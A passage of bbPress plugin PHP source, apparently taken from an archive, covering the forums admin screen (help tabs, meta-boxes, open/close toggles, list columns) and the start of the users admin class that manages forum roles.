				'<p>' . __( 'This screen displays the individual forums on your site. You can customize the display of this screen to suit your workflow.', 'bbpress' ) . '</p>'
		) );

		// Screen Content
		get_current_screen()->add_help_tab( array(
			'id'		=> 'screen-content',
			'title'		=> __( 'Screen Content', 'bbpress' ),
			'content'	=>
				'<p>' . __( 'You can customize the display of this screen&#8217;s contents in a number of ways:', 'bbpress' ) . '</p>' .
				'<ul>' .
					'<li>' . __( 'You can hide/display columns based on your needs and decide how many forums to list per screen using the Screen Options tab.',                                                                                                                                'bbpress' ) . '</li>' .
					'<li>' . __( 'You can filter the list of forums by forum status using the text links in the upper left to show All, Published, or Trashed forums. The default view is to show all forums.',                                                                                 'bbpress' ) . '</li>' .
					'<li>' . __( 'You can refine the list to show only forums from a specific month by using the dropdown menus above the forums list. Click the Filter button after making your selection. You also can refine the list by clicking on the forum creator in the forums list.', 'bbpress' ) . '</li>' .
				'</ul>'
		) );

		// Available Actions
		get_current_screen()->add_help_tab( array(
			'id'		=> 'action-links',
			'title'		=> __( 'Available Actions', 'bbpress' ),
			'content'	=>
				'<p>' . __( 'Hovering over a row in the forums list will display action links that allow you to manage your forum. You can perform the following actions:', 'bbpress' ) . '</p>' .
				'<ul>' .
					'<li>' . __( '<strong>Edit</strong> takes you to the editing screen for that forum. You can also reach that screen by clicking on the forum title.',                                                          'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Close</strong> will mark the selected forum as &#8217;closed&#8217; and disable the ability to post new topics and replies in it.',                                                      'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Trash</strong> removes your forum from this list and places it in the trash, from which you can permanently delete it.',                                                                'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>View</strong> will either show you what your draft forum will look like if you publish it, or take you to your live site to view it. Which link depends on your forum&#8217;s status.', 'bbpress' ) . '</li>' .
				'</ul>'
		) );

		// Bulk Actions
		get_current_screen()->add_help_tab( array(
			'id'		=> 'bulk-actions',
			'title'		=> __( 'Bulk Actions', 'bbpress' ),
			'content'	=>
				'<p>' . __( 'You can also edit or move multiple forums to the trash at once. Select the forums you want to act on using the checkboxes, then select the action you want to take from the Bulk Actions menu and click Apply.',           'bbpress' ) . '</p>' .
				'<p>' . __( 'When using Bulk Edit, you can change the metadata (categories, author, etc.) for all selected forums at once. To remove a forum from the grouping, just click the x next to its name in the Bulk Edit area that appears.', 'bbpress' ) . '</p>'
		) );

		// Help Sidebar
		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:', 'bbpress' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.bbpress.org" target="_blank">bbPress Documentation</a>',    'bbpress' ) . '</p>' .
			'<p>' . __( '<a href="https://bbpress.org/forums/" target="_blank">bbPress Support Forums</a>', 'bbpress' ) . '</p>'
		);
	}

	/**
	 * Contextual help for bbPress forum edit page
	 *
	 * @since 2.0.0 bbPress (r3119)
	 */
	public function new_help() {

		$customize_display = '<p>' . __( 'The title field and the big forum editing Area are fixed in place, but you can reposition all the other boxes using drag and drop, and can minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen.', 'bbpress' ) . '</p>';

		get_current_screen()->add_help_tab( array(
			'id'      => 'customize-display',
			'title'   => __( 'Customizing This Display', 'bbpress' ),
			'content' => $customize_display,
		) );

		get_current_screen()->add_help_tab( array(
			'id'      => 'title-forum-editor',
			'title'   => __( 'Title and Forum Editor', 'bbpress' ),
			'content' =>
				'<p>' . __( '<strong>Title</strong> - Enter a title for your forum. After you enter a title, you&#8217;ll see the permalink below, which you can edit.', 'bbpress' ) . '</p>' .
				'<p>' . __( '<strong>Forum Editor</strong> - Enter the text for your forum. There are two modes of editing: Visual and HTML. Choose the mode by clicking on the appropriate tab. Visual mode gives you a WYSIWYG editor. Click the last icon in the row to get a second row of controls. The HTML mode allows you to enter raw HTML along with your forum text. You can insert media files by clicking the icons above the forum editor and following the directions. You can go to the distraction-free writing screen via the Fullscreen icon in Visual mode (second to last in the top row) or the Fullscreen button in HTML mode (last in the row). Once there, you can make buttons visible by hovering over the top area. Exit Fullscreen back to the regular forum editor.', 'bbpress' ) . '</p>'
		) );

		$publish_box = '<p>' . __( '<strong>Publish</strong> - You can set the terms of publishing your forum in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a forum or making it stay at the top of your blog indefinitely (sticky). Publish (immediately) allows you to set a future or past date and time, so you can schedule a forum to be published in the future or backdate a forum.', 'bbpress' ) . '</p>';

		if ( current_theme_supports( 'forum-thumbnails' ) && post_type_supports( 'forum', 'thumbnail' ) ) {
			$publish_box .= '<p>' . __( '<strong>Featured Image</strong> - This allows you to associate an image with your forum without inserting it. This is usually useful only if your theme makes use of the featured image as a forum thumbnail on the home page, a custom header, etc.', 'bbpress' ) . '</p>';
		}

		get_current_screen()->add_help_tab( array(
			'id'      => 'forum-attributes',
			'title'   => __( 'Forum Attributes', 'bbpress' ),
			'content' =>
				'<p>' . __( 'Select the attributes that your forum should have:', 'bbpress' ) . '</p>' .
				'<ul>' .
					'<li>' . __( '<strong>Type</strong> indicates if the forum is a category or forum. Categories generally contain other forums.',                                                                                'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Status</strong> allows you to close a forum to new topics and forums.',                                                                                                                  'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Visibility</strong> lets you pick the scope of each forum and what users are allowed to access it.',                                                                                     'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Parent</strong> dropdown determines the parent forum. Select the forum or category from the dropdown, or leave the default "No parent" to create the forum at the root of your forums.', 'bbpress' ) . '</li>' .
					'<li>' . __( '<strong>Order</strong> allows you to order your forums numerically.',                                                                                                                            'bbpress' ) . '</li>' .
				'</ul>'
		) );

		get_current_screen()->add_help_tab( array(
			'id'      => 'publish-box',
			'title'   => __( 'Publish Box', 'bbpress' ),
			'content' => $publish_box,
		) );

		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:', 'bbpress' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.bbpress.org" target="_blank">bbPress Documentation</a>',    'bbpress' ) . '</p>' .
			'<p>' . __( '<a href="https://bbpress.org/forums/" target="_blank">bbPress Support Forums</a>', 'bbpress' ) . '</p>'
		);
	}

	/**
	 * Add the forum attributes meta-box
	 *
	 * @since 2.0.0 bbPress (r2746)
	 */
	public function attributes_metabox() {
		add_meta_box(
			'bbp_forum_attributes',
			esc_html__( 'Forum Attributes', 'bbpress' ),
			'bbp_forum_metabox',
			$this->post_type,
			'side',
			'high'
		);
	}

	/**
	 * Add the forum moderators meta-box
	 *
	 * @since 2.6.0 bbPress
	 */
	public function moderators_metabox() {

		// Bail if feature not active or user cannot assign moderators
		if ( ! bbp_allow_forum_mods() || ! current_user_can( 'assign_moderators' ) ) {
			return;
		}

		// Moderators
		add_meta_box(
			'bbp_moderator_assignment_metabox',
			esc_html__( 'Forum Moderators', 'bbpress' ),
			'bbp_moderator_assignment_metabox',
			$this->post_type,
			'side',
			'high'
		);
	}

	/**
	 * Add the subscriptions meta-box
	 *
	 * Allows viewing of users who have subscribed to a forum.
	 *
	 * @since 2.6.0 bbPress (r6197)
	 */
	public function subscriptions_metabox() {

		// Bail if post_type is not a reply
		if ( empty( $_GET['action'] ) || ( 'edit' !== $_GET['action'] ) ) {
			return;
		}

		// Bail if no subscriptions
		if ( ! bbp_is_subscriptions_active() ) {
			return;
		}

		// Add the meta-box
		add_meta_box(
			'bbp_forum_subscriptions_metabox',
			esc_html__( 'Subscriptions', 'bbpress' ),
			'bbp_forum_subscriptions_metabox',
			$this->post_type,
			'normal',
			'high'
		);
	}

	/**
	 * Remove comments & discussion meta-boxes if comments are not supported
	 *
	 * @since 2.6.0 bbPress (r6186)
	 */
	public function comments_metabox() {
		if ( ! post_type_supports( $this->post_type, 'comments' ) ) {
			remove_meta_box( 'commentstatusdiv', $this->post_type, 'normal' );
			remove_meta_box( 'commentsdiv',      $this->post_type, 'normal' );
		}
	}

	/**
	 * Pass the forum attributes for processing
	 *
	 * @since 2.0.0 bbPress (r2746)
	 *
	 * @param int $forum_id Forum id
	 * @return int Forum id
	 */
	public function save_meta_boxes( $forum_id ) {

		// Bail if doing an autosave
		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return $forum_id;
		}

		// Bail if not a post request
		if ( ! bbp_is_post_request() ) {
			return $forum_id;
		}

		// Nonce check
		if ( empty( $_POST['bbp_forum_metabox'] ) || ! wp_verify_nonce( $_POST['bbp_forum_metabox'], 'bbp_forum_metabox_save' ) ) {
			return $forum_id;
		}

		// Only save for forum post-types
		if ( ! bbp_is_forum( $forum_id ) ) {
			return $forum_id;
		}

		// Bail if current user cannot edit this forum
		if ( ! current_user_can( 'edit_forum', $forum_id ) ) {
			return $forum_id;
		}

		// Parent ID
		$parent_id = ( ! empty( $_POST['parent_id'] ) && is_numeric( $_POST['parent_id'] ) )
			? (int) $_POST['parent_id']
			: 0;

		// Update the forum meta bidness
		bbp_update_forum( array(
			'forum_id'    => $forum_id,
			'post_parent' => $parent_id
		) );

		do_action( 'bbp_forum_attributes_metabox_save', $forum_id );

		return $forum_id;
	}

	/**
	 * Toggle forum
	 *
	 * Handles the admin-side opening/closing of forums
	 *
	 * @since 2.6.0 bbPress (r5254)
	 */
	public function toggle_forum() {

		// Bail if not a forum toggle action
		if ( ! bbp_is_get_request() || empty( $_GET['action'] ) || empty( $_GET['forum_id'] ) ) {
			return;
		}

		// Bail if not an allowed action
		$action = sanitize_key( $_GET['action'] );
		if ( empty( $action ) || ! in_array( $action, $this->get_allowed_action_toggles(), true ) ) {
			return;
		}

		// Bail if forum is missing
		$forum_id = bbp_get_forum_id( $_GET['forum_id'] );
		if ( ! bbp_get_forum( $forum_id ) ) {
			wp_die( esc_html__( 'The forum was not found.', 'bbpress' ) );
		}

		// What is the user doing here?
		if ( ! current_user_can( 'edit_forum', $forum_id ) ) {
			wp_die( esc_html__( 'You do not have permission to do that.', 'bbpress' ) );
		}

		// Defaults
		$post_data = array( 'ID' => $forum_id );
		$message   = '';
		$success   = false;

		switch ( $action ) {
			case 'bbp_toggle_forum_close' :
				check_admin_referer( 'close-forum_' . $forum_id );

				$is_open = bbp_is_forum_open( $forum_id );
				$message = ( true === $is_open )
					? 'closed'
					: 'opened';
				$success = ( true === $is_open )
					? bbp_close_forum( $forum_id )
					: bbp_open_forum( $forum_id );

				break;
		}

		// Setup the message
		$retval = array(
			'bbp_forum_toggle_notice' => $message,
			'forum_id'                => $forum_id
		);

		// Prepare for failure
		if ( ( false === $success ) || is_wp_error( $success ) ) {
			$retval['failed'] = '1';
		}

		// Filter all message args
		$retval = apply_filters( 'bbp_toggle_forum_action_admin', $retval, $forum_id, $action );

		// Do additional forum toggle actions (admin side)
		do_action( 'bbp_toggle_forum_admin', $success, $post_data, $action, $retval );

		// Redirect back to the forum
		$redirect = add_query_arg( $retval, remove_query_arg( array( 'action', 'forum_id' ) ) );
		bbp_redirect( $redirect );
	}

	/**
	 * Toggle forum notices
	 *
	 * Display the success/error notices from
	 * {@link BBP_Admin::toggle_forum()}
	 *
	 * @since 2.6.0 bbPress (r5254)
	 */
	public function toggle_forum_notice() {

		// Bail if missing forum toggle action
		if ( ! bbp_is_get_request() || empty( $_GET['forum_id'] ) || empty( $_GET['bbp_forum_toggle_notice'] ) ) {
			return;
		}

		// Bail if not an allowed notice
		$notice = sanitize_key( $_GET['bbp_forum_toggle_notice'] );
		if ( empty( $notice ) || ! in_array( $notice, $this->get_allowed_notice_toggles(), true ) ) {
			return;
		}

		// Bail if no forum_id or notice
		$forum_id = bbp_get_forum_id( $_GET['forum_id'] );
		if ( empty( $forum_id ) ) {
			return;
		}

		// Bail if forum is missing
		if ( ! bbp_get_forum( $forum_id ) ) {
			return;
		}

		// Use the title in the responses
		$forum_title = bbp_get_forum_title( $forum_id );
		$is_failure  = ! empty( $_GET['failed'] );
		$message     = '';

		switch ( $notice ) {
			case 'opened' :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem opening the forum "%1$s".', 'bbpress' ), $forum_title )
					: sprintf( esc_html__( 'Forum "%1$s" successfully opened.',             'bbpress' ), $forum_title );
				break;

			case 'closed' :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem closing the forum "%1$s".', 'bbpress' ), $forum_title )
					: sprintf( esc_html__( 'Forum "%1$s" successfully closed.',             'bbpress' ), $forum_title );
				break;
		}

		// Do additional forum toggle notice filters (admin side)
		$message = apply_filters( 'bbp_toggle_forum_notice_admin', $message, $forum_id, $notice, $is_failure );
		$class   = ( $is_failure === true )
			? 'error'
			: 'updated';

		// Add the notice
		bbp_admin()->add_notice( $message, $class, true );
	}

	/**
	 * Returns an array of keys used to sort row actions
	 *
	 * @since 2.6.0 bbPress (r6771)
	 *
	 * @return array
	 */
	private function get_row_action_sort_order() {

		// Filter & return
		return (array) apply_filters( 'bbp_admin_forum_row_action_sort_order', array(
			'edit',
			'closed',
			'trash',
			'untrash',
			'delete',
			'view'
		) );
	}

	/**
	 * Returns an array of notice toggles
	 *
	 * @since 2.6.0 bbPress (r6396)
	 *
	 * @return array
	 */
	private function get_allowed_notice_toggles() {

		// Filter & return
		return apply_filters( 'bbp_admin_forums_allowed_notice_toggles', array(
			'opened',
			'closed'
		) );
	}

	/**
	 * Returns an array of notice toggles
	 *
	 * @since 2.6.0 bbPress (r6396)
	 *
	 * @return array
	 */
	private function get_allowed_action_toggles() {

		// Filter & return
		return apply_filters( 'bbp_admin_forums_allowed_action_toggles', array(
			'bbp_toggle_forum_close'
		) );
	}

	/**
	 * Manage the column headers for the forums page
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param array $columns The columns
	 *
	 * @return array $columns bbPress forum columns
	 */
	public function column_headers( $columns ) {

		// Set list table column headers
		$columns = array(
			'cb'                    => '<input type="checkbox" />',
			'title'                 => esc_html__( 'Forum',      'bbpress' ),
			'bbp_forum_topic_count' => esc_html__( 'Topics',     'bbpress' ),
			'bbp_forum_reply_count' => esc_html__( 'Replies',    'bbpress' ),
			'bbp_forum_mods'        => esc_html__( 'Moderators', 'bbpress' ),
			'author'                => esc_html__( 'Creator',    'bbpress' ),
			'bbp_forum_created'     => esc_html__( 'Created' ,   'bbpress' ),
			'bbp_forum_freshness'   => esc_html__( 'Last Post',  'bbpress' )
		);

		// Remove forum mods column if not enabled
		if ( ! bbp_allow_forum_mods() ) {
			unset( $columns['bbp_forum_mods'] );
		}

		// Filter & return
		return apply_filters( 'bbp_admin_forums_column_headers', $columns );
	}

	/**
	 * Print extra columns for the forums page
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param string $column Column
	 * @param int $forum_id Forum id
	 */
	public function column_data( $column, $forum_id ) {

		switch ( $column ) {
			case 'bbp_forum_topic_count' :
				bbp_forum_topic_count( $forum_id );
				break;

			case 'bbp_forum_reply_count' :
				bbp_forum_reply_count( $forum_id );
				break;

			case 'bbp_forum_mods' :
				bbp_moderator_list( $forum_id, array(
					'before' => '',
					'after'  => '',
					'none'   => esc_html__( '&mdash;', 'bbpress' )
				) );
				break;

			case 'bbp_forum_created':
				printf( '%1$s <br /> %2$s',
					get_the_date(),
					esc_attr( get_the_time() )
				);

				break;

			case 'bbp_forum_freshness' :
				$last_active = bbp_get_forum_last_active_time( $forum_id, false );
				if ( ! empty( $last_active ) ) {
					echo esc_html( $last_active );
				} else {
					esc_html_e( 'No Topics', 'bbpress' );
				}

				break;

			default:
				do_action( 'bbp_admin_forums_column_data', $column, $forum_id );
				break;
		}
	}

	/**
	 * Forum Row actions
	 *
	 * Remove the quick-edit action link and display the description under
	 * the forum title and add the open/close links
	 *
	 * @since 2.0.0 bbPress (r2577)
	 *
	 * @param array  $actions Actions
	 * @param object $forum   Forum object
	 *
	 * @return array $actions Actions
	 */
	public function row_actions( $actions = array(), $forum = false ) {

		// Disable quick edit (too much to do here)
		unset( $actions['inline hide-if-no-js'] );

		// Only show the actions if the user is capable of viewing them :)
		if ( current_user_can( 'edit_forum', $forum->ID ) ) {

			// Show the 'close' and 'open' link on published, private, hidden and closed posts only
			if ( in_array( $forum->post_status, array( bbp_get_public_status_id(), bbp_get_private_status_id(), bbp_get_hidden_status_id(), bbp_get_closed_status_id() ), true ) ) {
				$close_uri = wp_nonce_url( add_query_arg( array( 'forum_id' => $forum->ID, 'action' => 'bbp_toggle_forum_close' ), remove_query_arg( array( 'bbp_forum_toggle_notice', 'forum_id', 'failed', 'super' ) ) ), 'close-forum_' . $forum->ID );
				if ( bbp_is_forum_open( $forum->ID ) ) {
					$actions['closed'] = '<a href="' . esc_url( $close_uri ) . '" title="' . esc_attr__( 'Close this forum', 'bbpress' ) . '">' . _x( 'Close', 'Close a Forum', 'bbpress' ) . '</a>';
				} else {
					$actions['closed'] = '<a href="' . esc_url( $close_uri ) . '" title="' . esc_attr__( 'Open this forum',  'bbpress' ) . '">' . _x( 'Open',  'Open a Forum',  'bbpress' ) . '</a>';
				}
			}
		}

		// Only show content if user can read it and there is no password
		if ( current_user_can( 'read_forum', $forum->ID ) && ! post_password_required( $forum ) ) {

			// Get the forum description
			$content = bbp_get_forum_content( $forum->ID );

			// Only proceed if there is a description
			if ( ! empty( $content ) ) {
				echo '<div class="bbp-escaped-content">' . esc_html( wp_trim_excerpt( $content, $forum ) ) . '</div>';
			}
		}

		// Sort & return
		return $this->sort_row_actions( $actions );
	}

	/**
	 * Sort row actions by key
	 *
	 * @since 2.6.0
	 *
	 * @param array $actions
	 *
	 * @return array
	 */
	private function sort_row_actions( $actions = array() ) {

		// Return value
		$retval = array();

		// Known row actions, in sort order
		$known_actions = $this->get_row_action_sort_order();

		// Sort known actions, and keep any unknown ones
		foreach ( $known_actions as $key ) {
			if ( isset( $actions[ $key ] ) ) {
				$retval[ $key ] = $actions[ $key ];
				unset( $actions[ $key ] );
			}
		}

		// Combine & return
		return $retval + $actions;
	}

	/**
	 * Custom user feedback messages for forum post type
	 *
	 * @since 2.0.0 bbPress (r3080)
	 *
	 * @global int $post_ID
	 *
	 * @param array $messages
	 *
	 * @return array
	 */
	public function updated_messages( $messages ) {
		global $post_ID;

		// URL for the current forum
		$forum_url = bbp_get_forum_permalink( $post_ID );

		// Current forum's post_date
		$post_date = bbp_get_global_post_field( 'post_date', 'raw' );

		// Messages array
		$messages[ $this->post_type ] = array(
			0 =>  '', // Left empty on purpose

			// Updated
			1 =>  sprintf(
				'%1$s <a href="%2$s">%3$s</a>',
				esc_html__( 'Forum updated.', 'bbpress' ),
				$forum_url,
				esc_html__( 'View forum', 'bbpress' )
			),

			// Custom field updated
			2 => esc_html__( 'Custom field updated.', 'bbpress' ),

			// Custom field deleted
			3 => esc_html__( 'Custom field deleted.', 'bbpress' ),

			// Forum updated
			4 => esc_html__( 'Forum updated.', 'bbpress' ),

			// Restored from revision
			// translators: %s: date and time of the revision
			5 => isset( $_GET['revision'] )
				? sprintf( esc_html__( 'Forum restored to revision from %s', 'bbpress' ), wp_post_revision_title( (int) $_GET['revision'], false ) )
				: false,

			// Forum created
			6 => sprintf(
				'%1$s <a href="%2$s">%3$s</a>',
				esc_html__( 'Forum created.', 'bbpress' ),
				$forum_url,
				esc_html__( 'View forum', 'bbpress' )
			),

			// Forum saved
			7 => esc_html__( 'Forum saved.', 'bbpress' ),

			// Forum submitted
			8 => sprintf(
				'%1$s <a href="%2$s" target="_blank">%3$s</a>',
				esc_html__( 'Forum submitted.', 'bbpress' ),
				esc_url( add_query_arg( 'preview', 'true', $forum_url ) ),
				esc_html__( 'Preview forum', 'bbpress' )
			),

			// Forum scheduled
			9 => sprintf(
				'%1$s <a target="_blank" href="%2$s">%3$s</a>',
				sprintf(
					esc_html__( 'Forum scheduled for: %s.', 'bbpress' ),
					// translators: Publish box date format, see http://php.net/date
					'<strong>' . date_i18n( __( 'M j, Y @ G:i', 'bbpress' ), strtotime( $post_date ) ) . '</strong>'
				),
				$forum_url,
				__( 'Preview forum', 'bbpress' )
			),

			// Forum draft updated
			10 => sprintf(
				'%1$s <a href="%2$s" target="_blank">%3$s</a>',
				esc_html__( 'Forum draft updated.', 'bbpress' ),
				esc_url( add_query_arg( 'preview', 'true', $forum_url ) ),
				esc_html__( 'Preview forum', 'bbpress' )
			),
		);

		return $messages;
	}
}
endif; // class_exists check

/**
 * Setup bbPress Forums Admin
 *
 * This is currently here to make hooking and unhooking of the admin UI easy.
 * It could use dependency injection in the future, but for now this is easier.
 *
 * @since 2.0.0 bbPress (r2596)
 *
 * @param WP_Screen $current_screen Current screen object
 */
function bbp_admin_forums( $current_screen ) {

	// Bail if not a forum screen
	if ( empty( $current_screen->post_type ) || ( bbp_get_forum_post_type() !== $current_screen->post_type ) ) {
		return;
	}

	// Init the forums admin
	bbp_admin()->forums = new BBP_Forums_Admin();
}
includes/admin/users.php000066600000023272151771460310011333 0ustar00<?php

/**
 * bbPress Users Admin Class
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Users_Admin' ) ) :
/**
 * Loads bbPress users admin area
 *
 * @package bbPress
 * @subpackage Administration
 * @since 2.0.0 bbPress (r2464)
 */
class BBP_Users_Admin {

	/**
	 * The bbPress users admin loader
	 *
	 * @since 2.0.0 bbPress (r2515)
	 */
	public function __construct() {
		$this->setup_actions();
	}

	/**
	 * Setup the admin hooks, actions and filters
	 *
	 * @since 2.0.0 bbPress (r2646)
	 *
	 * @access private
	 */
	function setup_actions() {

		// Bail if in network admin
		if ( is_network_admin() ) {
			return;
		}

		// User profile edit/display actions
		add_action( 'edit_user_profile', array( $this, 'secondary_role_display' ) );

		// WordPress user screen
		// Remvove the bottom list table "change forum role" dropdown from WordPress < 4.6.
		// See https://bbpress.trac.wordpress.org/ticket/2906.
		if ( bbp_get_major_wp_version() < 4.6 ) {
			add_action( 'restrict_manage_users',  array( __CLASS__, 'user_role_bulk_dropdown' )    );
		} else {
			add_action( 'restrict_manage_users',  array( $this, 'user_role_bulk_dropdown' ), 10, 1 );
		}
		add_filter( 'manage_users_columns',       array( $this, 'user_role_column'        ), 10, 1 );
		add_filter( 'manage_users_custom_column', array( $this, 'user_role_row'           ), 10, 3 );

		// Only list bbPress roles under Forum Role, remove from WordPress' > 4.4 Site Role list.
		if ( bbp_get_major_wp_version() >= 4.4 ) {
			add_filter( 'get_role_list',          array( $this, 'user_role_list_filter'   ), 10, 2 );
		}

		// User List Table
		add_action( 'load-users.php',   array( $this, 'user_role_bulk_change' ), 10, 1 );
		add_action( 'user_row_actions', array( $this, 'user_row_actions'      ), 10, 2 );
	}

	/**
	 * Default interface for setting a forum role
	 *
	 * @since 2.2.0 bbPress (r4285)
	 *
	 * @param WP_User $profileuser User data
	 * @return bool Always false
	 */
	public static function secondary_role_display( $profileuser ) {

		// Bail if current user cannot edit users
		if ( ! current_user_can( 'edit_user', $profileuser->ID ) ) {
			return;
		}

		// Get the roles
		$dynamic_roles = bbp_get_dynamic_roles();

		// Only keymasters can set other keymasters
		if ( ! bbp_is_user_keymaster() ) {
			unset( $dynamic_roles[ bbp_get_keymaster_role() ] );
		} ?>

		<h2><?php esc_html_e( 'Forums', 'bbpress' ); ?></h2>

		<table class="form-table">
			<tbody>
				<tr>
					<th><label for="bbp-forums-role"><?php esc_html_e( 'Forum Role', 'bbpress' ); ?></label></th>
					<td>

						<?php $user_role = bbp_get_user_role( $profileuser->ID ); ?>

						<select name="bbp-forums-role" id="bbp-forums-role">

							<?php if ( ! empty( $user_role ) ) : ?>

								<option value=""><?php esc_html_e( '&mdash; No role for these forums &mdash;', 'bbpress' ); ?></option>

							<?php else : ?>

								<option value="" selected="selected"><?php esc_html_e( '&mdash; No role for these forums &mdash;', 'bbpress' ); ?></option>

							<?php endif; ?>

							<?php foreach ( $dynamic_roles as $role => $details ) : ?>

								<option <?php selected( $user_role, $role ); ?> value="<?php echo esc_attr( $role ); ?>"><?php echo bbp_translate_user_role( $details['name'] ); ?></option>

							<?php endforeach; ?>

						</select>
					</td>
				</tr>

			</tbody>
		</table>

		<?php
	}

	/**
	 * Add bulk forums role dropdown to the WordPress users table
	 *
	 * @since 2.2.0 bbPress (r4360)
	 * @since 2.6.0 bbPress (r6055) Introduced the `$which` parameter.
	 *
	 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
	 */
	public static function user_role_bulk_dropdown( $which ) {

		// Remove the bottom list table "change forum role" dropdown from WordPress < 4.6.
		// See https://bbpress.trac.wordpress.org/ticket/2906.
		if ( bbp_get_major_wp_version() < 4.6 ) {
			remove_action( 'restrict_manage_users', array( __CLASS__, 'user_role_bulk_dropdown' ) );
		}

		// Bail if current user cannot promote users
		if ( ! current_user_can( 'promote_users' ) ) {
			return;
		}

		// Get the roles
		$dynamic_roles = bbp_get_dynamic_roles();

		// Only keymasters can set other keymasters
		if ( ! bbp_is_user_keymaster() ) {
			unset( $dynamic_roles[ bbp_get_keymaster_role() ] );
		}

		$select_id = 'bottom' === $which ? 'bbp-new-role2' : 'bbp-new-role';
		$button_id = 'bottom' === $which ? 'bbp-change-role2' : 'bbp-change-role';
		?>

		<label class="screen-reader-text" for="<?php echo $select_id; ?>"><?php esc_html_e( 'Change forum role to&hellip;', 'bbpress' ) ?></label>
		<select name="<?php echo $select_id; ?>" id="<?php echo $select_id; ?>" style="display:inline-block; float:none;">
			<option value=''><?php esc_html_e( 'Change forum role to&hellip;', 'bbpress' ) ?></option>
			<?php foreach ( $dynamic_roles as $role => $details ) : ?>
				<option value="<?php echo esc_attr( $role ); ?>"><?php echo bbp_translate_user_role( $details['name'] ); ?></option>
			<?php endforeach; ?>
		</select><?php submit_button( esc_html__( 'Change', 'bbpress' ), 'secondary', $button_id, false );

		wp_nonce_field( 'bbp-bulk-users', 'bbp-bulk-users-nonce' );
	}

	/**
	 * Process bulk dropdown form submission from the WordPress Users
	 * Table
	 *
	 * @since 2.2.0 bbPress (r4365)
	 *
	 * @return bool Always false
	 */
	public function user_role_bulk_change() {

		// Bail if no users specified
		if ( empty( $_REQUEST['users'] ) ) {
			return;
		}

		// Bail if this isn't a bbPress action
		if ( ( empty( $_REQUEST['bbp-new-role'] ) && empty( $_REQUEST['bbp-new-role2'] ) ) || ( empty( $_REQUEST['bbp-change-role'] ) && empty( $_REQUEST['bbp-change-role2'] ) ) ) {
			return;
		}

		$new_role = false;
		if ( ! empty( $_REQUEST['bbp-change-role2'] ) && ! empty( $_REQUEST['bbp-new-role2'] ) ) {
			$new_role = $_REQUEST['bbp-new-role2'];
		} elseif ( ! empty( $_REQUEST['bbp-change-role'] ) && ! empty( $_REQUEST['bbp-new-role'] ) ) {
			$new_role = $_REQUEST['bbp-new-role'];
		}

		// Check that the new role exists
		$dynamic_roles = bbp_get_dynamic_roles();
		if ( ! $new_role || empty( $dynamic_roles[ $new_role ] ) ) {
			return;
		}

		// Bail if nonce check fails
		check_admin_referer( 'bbp-bulk-users', 'bbp-bulk-users-nonce' );

		// Bail if current user cannot promote users
		if ( ! current_user_can( 'promote_users' ) ) {
			return;
		}

		// Get the current user ID
		$current_user_id = (int) bbp_get_current_user_id();

		// Run through user ids
		foreach ( (array) $_REQUEST['users'] as $user_id ) {
			$user_id = (int) $user_id;

			// Don't let a user change their own role
			if ( $user_id === $current_user_id ) {
				continue;
			}

			// Set up user and role data
			$user_role = bbp_get_user_role( $user_id );
			$new_role  = sanitize_text_field( $new_role );

			// Only keymasters can set other keymasters
			if ( in_array( bbp_get_keymaster_role(), array( $user_role, $new_role ), true ) && ! bbp_is_user_keymaster() ) {
				continue;
			}

			// Set the new forums role
			if ( $new_role !== $user_role ) {
				bbp_set_user_role( $user_id, $new_role );
			}
		}
	}

	/**
	 * Add a "View" link for each user
	 *
	 * @since 2.6.0 bbPress (r6502)
	 *
	 * @param array   $actions
	 * @param WP_User $user
	 *
	 * @return array Actions with 'view' link added to them
	 */
	public function user_row_actions( $actions = array(), $user = false ) {

		// Reverse
		$actions = array_reverse( $actions );

		// Add the view action link
		$actions['view'] = '<a href="' . esc_url( bbp_get_user_profile_url( $user->ID ) ) . '" class="bbp-user-profile-link">' . esc_html__( 'View', 'bbpress' ) . '</a>';

		// Re-reverse
		return array_reverse( $actions );
	}

	/**
	 * Add Forum Role column to the WordPress Users table, and change the
	 * core role title to "Site Role"
	 *
	 * @since 2.2.0 bbPress (r4337)
	 *
	 * @param array $columns Users table columns
	 * @return array $columns
	 */
	public static function user_role_column( $columns = array() ) {

		// New title for old Role column
		$columns['role'] = esc_html__( 'Site Role',  'bbpress' );

		// New column
		$bbp_user_role = array(
			'bbp_user_role' => esc_html__( 'Forum Role', 'bbpress' )
		);

		// Make sure role columns are next to each other
		$role_pos = array_search( 'role', array_keys( $columns ), true );
		$result   = array_slice( $columns, 0, $role_pos + 1 );
		$result   = array_merge( $result, $bbp_user_role );

		// Merge and return
		return array_merge( $result, array_slice( $columns, $role_pos ) );
	}

	/**
	 * Return user's forums role for display in the WordPress Users list table
	 *
	 * @since 2.2.0 bbPress (r4337)
	 *
	 * @param string $retval
	 * @param string $column_name
	 * @param int $user_id
	 *
	 * @return string Displayable bbPress user role
	 */
	public static function user_role_row( $retval = '', $column_name = '', $user_id = 0 ) {

		// User role column
		if ( 'bbp_user_role' === $column_name ) {

			// Get the users role
			$user_role = bbp_get_user_role( $user_id );
			$retval    = false;

			// Translate user role for display
			if ( ! empty( $user_role ) ) {
				$roles  = bbp_get_dynamic_roles();
				$retval = bbp_translate_user_role( $roles[ $user_role ]['name'] );
			}
		}

		// Pass retval through
		return $retval;
	}

